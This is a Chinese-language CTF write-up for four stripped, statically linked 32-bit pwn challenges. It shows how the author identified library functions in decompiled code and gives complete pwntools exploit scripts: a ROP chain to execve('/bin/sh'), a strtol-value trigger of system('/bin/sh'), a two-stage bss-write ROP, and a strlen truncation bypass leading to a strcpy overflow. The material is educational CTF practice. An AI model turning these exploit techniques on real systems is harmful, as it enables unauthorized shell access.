题目的本身的难度非常简单 因为是RHG类型的题目 不过大部分都是静态编译的题目 并且删除了符号表 以前还没有接触过类似的题目 所以这次来学习一下怎么逻辑推理出各个函数
下面的顺序被我打乱了 因为附件也是学长发的 所以凑合着做吧
pwn1#

32位 保护机制基本上全关了
解析来进入ida 由于删除了符号表 所以也不知道哪一个函数是main 先点进唯一有符号的start函数
// positive sp value has been detected, the output may be wrong!void __usercall __noreturn start(int a1@<eax>, int a2@<edx>){ int v2; // esi int v3; // [esp-4h] [ebp-4h] BYREF void *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3; v3 = a1; sub_8049200(sub_804890C, v2, &retaddr, sub_80495D0, sub_8049670, a2, &v3);}根据以往的经验分析 sub_8049200应该是libc_start_main函数
那么作为其rdi参数的sub_804890C应该是main函数了
void __noreturn sub_804890C(){ sub_804887C(); while ( 1 ) sub_80488CE();}跟进以后 可以看到不像是libc函数 为出题人编写的 所以猜测正确 为main函数 接下来分别跟进两个函数
int sub_804887C(){ sub_80511E0(off_80EB4BC, 0); sub_80511E0(off_80EB4B8, 0); sub_80511E0(off_80EB4B4, 0); return sub_806D410(300);}三个一样的函数 对.data段上三个相邻的参数进行操作 并且第二个参数还是0 这怎么看都是清空缓存区 用的setbuf函数嘛
至于最后的函数调用 我猜是alarm闹钟函数 毕竟有个300的参数
int sub_80488CE(){ char v1[104]; // [esp+0h] [ebp-68h] BYREF
sub_804F4C0("please input what you want say"); sub_806DDA0(0, v1, 256); return sub_804F9D0(v1);}这个函数应该就是漏洞点了 sub_804F4C0函数要么是printf要么是puts 直接运行程序并没有输出换行符 那么应该是printf
sub_806DDA0看参数应该是read函数 最后的sub_804F9D0函数经过直接运行程序猜测是puts函数

那么至此程序的主要逻辑就明了了 while重复执行sub_80488CE函数 该函数存在栈溢出漏洞
再加上是静态编译 那么此时直接利用ROPgadget自带的构造rop链 getshell
ROPgadget --binary pwn --ropchain完整exp:
from pwn import*from ctypes import *from struct import *io = process("./pwn")#io = remote("node.yuzhian.com.cn",32980)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("please input what you want say")p = b'a' * (0x68+4)p += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080b8eb6) # pop eax ; retp += b'/bin'p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb064) # @ .data + 4p += pack('<I', 0x080b8eb6) # pop eax ; retp += b'//sh'p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x080495a3) # xor eax, eax ; retp += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080df8bd) # pop ecx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x080495a3) # xor eax, eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0806d443) # int 0x80success("len :"+hex(len(p)))io.sendline(p)io.interactive()pwn2#

还是跟上题一样 保护基本没开 静态编译32位
老规矩 还是跟着start函数索引到main函数
int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] int v3; // [esp+Ch] [ebp-Ch]
sub_804887C(); v3 = sub_8059F50(48); sub_8048987(v3, 48); v0 = sub_804DBD0(v3 + 16) + 5; if ( v0 == 8 ) { sub_8048987(v3, 48); } else if ( v0 > 8 ) { if ( v0 == 10 ) return 0; if ( v0 == 85145 ) sub_804F700("/bin/sh"); } else if ( v0 == 6 ) { sub_804FA00("where is shell", v2); } return 1;}第一个涉及到的函数
int sub_804887C(){ sub_8051720(off_80EB4BC, 0); sub_8051720(off_80EB4B8, 0); sub_8051720(off_80EB4B4, 0); return sub_806D9C0(300);}很明显是setbuf清空缓存区
第二个函数 参数是一个数值 并且在函数最后找到了这样一行字符串
if ( v4 != _EBX ) sub_8056280("__libc_malloc");所以大胆猜测是malloc 随后断点打在call 后 观察eax是否为堆地址返回值 成功验证猜想

至于第三个函数 看参数没有多少印象 所以觉得是出题人自己编写的函数 还得跟进一下看实现逻辑
int __cdecl sub_8048987(int a1, int a2){ int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; a2 - 1 > i; ++i ) { if ( sub_806E380(0, i + a1, 1) != 1 ) sub_804E660(1); if ( *(_BYTE *)(i + a1) == 10 ) break; } *(_BYTE *)(i + a1) = 0; return i;}sub_806E380函数的参数构造有点像read sub_804E660的参数构造像exit函数
那么结合函数整体的逻辑 我认为是一个往刚刚申请的chunk中读入数据的函数 当读入的字符为\n时 结束读入 并且把\n字符所处的位置设置为\x00
接下来第四个函数应该是最关键的了 从main函数的逻辑来看 这个函数的返回值将决定是否能够触发system(“/bin/sh”)
int __cdecl sub_804DBD0(int a1){ return sub_804E880(a1, 0, 10);}内部还调用了一个函数 不过这个函数的参数就有点眼熟了 a1是chunk的用户块+0x10处的地址 第二个参数为0
第三个参数是10 有点像strtol函数 为了印证猜想 看看函数结束后的eax寄存器是不是预期返回值
payload = cyclic(0x10)+b'85140'
之所以多了5 是因为在v0的值是strtol函数的返回值+5
那么就会进入对应的if判断式 直接调用system(“/bin/sh”)
至于最后的函数 实在是猜不出来 最后用sig文件解析了一下 再加上chatgpt 大概了解到其是一个可以直接把字符串输出到标准输出流的函数
int sub_804FA00(int a1, ...){ va_list va; // [esp+14h] [ebp+8h] BYREF
va_start(va, a1); return _IO_vfprintf_internal(off_80EB4B8, a1, (char *)va);}exp:
from pwn import*from ctypes import *from struct import *io = process("./pwn")#io = remote("node.yuzhian.com.cn",32980)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
payload = cyclic(0x10)+b'85140'# gdb.attach(io,'b *0x8048935')# pause(0)io.sendline(payload)io.interactive()pwn3#
一开始还以为是个手写可见字符shellcode 但是转念一想 反正保护全关 也有很长的栈溢出 那就可以直接打呗
静态编译的程序一般都是打系统调用的 这里太久没做了 还卡住了 忘记32位的系统调用是int 0x80了 傻傻的用syscall打了半天

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ init(); while ( 1 ) vuln();}int vuln(){ unsigned int v0; // eax char v2[96]; // [esp+8h] [ebp-70h] BYREF unsigned int j; // [esp+68h] [ebp-10h] int i; // [esp+6Ch] [ebp-Ch]
printf("please input what you want say"); read_len = read(0, v2, 288); for ( i = 0; i < read_len; ++i ) { for ( j = 0; ; ++j ) { v0 = strlen(byte_80EB068); if ( v0 <= j ) break; if ( v2[i] == *(j + 0x80EB068) ) exit(0); } } return puts(v2);}对于输入的字符进行了一个检查 如果为BINSHbinsh就exit
不过不影响 直接构造rop链 往bss段写binsh 随后execve系统调用就好了
from pwn import*from ctypes import *io = process("./pwn")#io = remote("node5.anna.nssctf.cn",28881)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("please input what you want say")edi_addr = 0x08048480eax_addr = 0x080b8f16ebx_addr = 0x080481c9ecx_addr = 0x080df91dedx_addr = 0x0806f89bsyscall_addr = 0x0806331dsh_addr= 0x80EB070bss_addr = elf.bss(0x400)read_addr = 0x806DE00main_addr = 0x8048972int80_addr =0x0806d4a3payload = b'e'*0x74+p32(read_addr)+p32(main_addr)+p32(0)+p32(bss_addr)+p32(0x20)# gdb.attach(io,'b *0x8048971 ')# pause(0)io.send(payload)# pause()io.send(b'/bin/sh\x00')io.recvuntil("please input what you want say")payload = b'e'*0x74+p32(eax_addr)+p32(0xb)+p32(ebx_addr)+p32(bss_addr)+p32(ecx_addr)+p32(0)+p32(int80_addr)# gdb.attach(io,'b *0x8048971 ')# pause(0)io.send(payload)# pause()io.interactive()pwn4#
依然是什么保护都没有开

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ init(); while ( 1 ) vuln();}int vuln(){ char v1[336]; // [esp+0h] [ebp-1B8h] BYREF char v2[104]; // [esp+150h] [ebp-68h] BYREF
puts("please input your username"); read(0, v2, 0x20); puts("please input your passwd"); read(0, v1, 0x14F); return check(v1);}没有栈溢出 v1作为check函数的参数 跟进一下
int __cdecl check(int a1){ int result; // eax char v2[16]; // [esp+Fh] [ebp-19h] BYREF unsigned __int8 v3; // [esp+1Fh] [ebp-9h]
v3 = strlen(a1); if ( v3 > 6u && v3 <= 8u ) { printf("nice"); result = strcpy(v2, a1); } else { printf("passwd error"); result = 0; } return result;}针对v1的长度进行了检测 只有7和8的时候可以调用strcpy进行栈溢出 这里一开始想的是直接\x00绕过strlen 后来意识到strcpy也会被绕过 这个时候注意到v3这个参数的异常 你可以发现其位于ebp-0x9 这个位置有点不对劲 所以切换成汇编看一下

strlen的返回值存储在eax中 而用来比较的是al寄存器的值 所以这里可以绕过
原因就在于如果数值大一点 使得二进制形式的eax的1都位于高位 使得低八位的值比较小 就可以绕过了
完整exp:
from pwn import*from ctypes import *io = process("./pwn")#io = remote("node5.anna.nssctf.cn",28881)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("please input your username")io.send(b'chen')io.recvuntil("please input your passwd")backdoor_addr = 0x80488CEpayload = cyclic(0x19+0x4)+p32(backdoor_addr)+cyclic(0xe6)# gdb.attach(io,'b *0x80488FB')# pause(0)io.send(payload)# pause()io.interactive()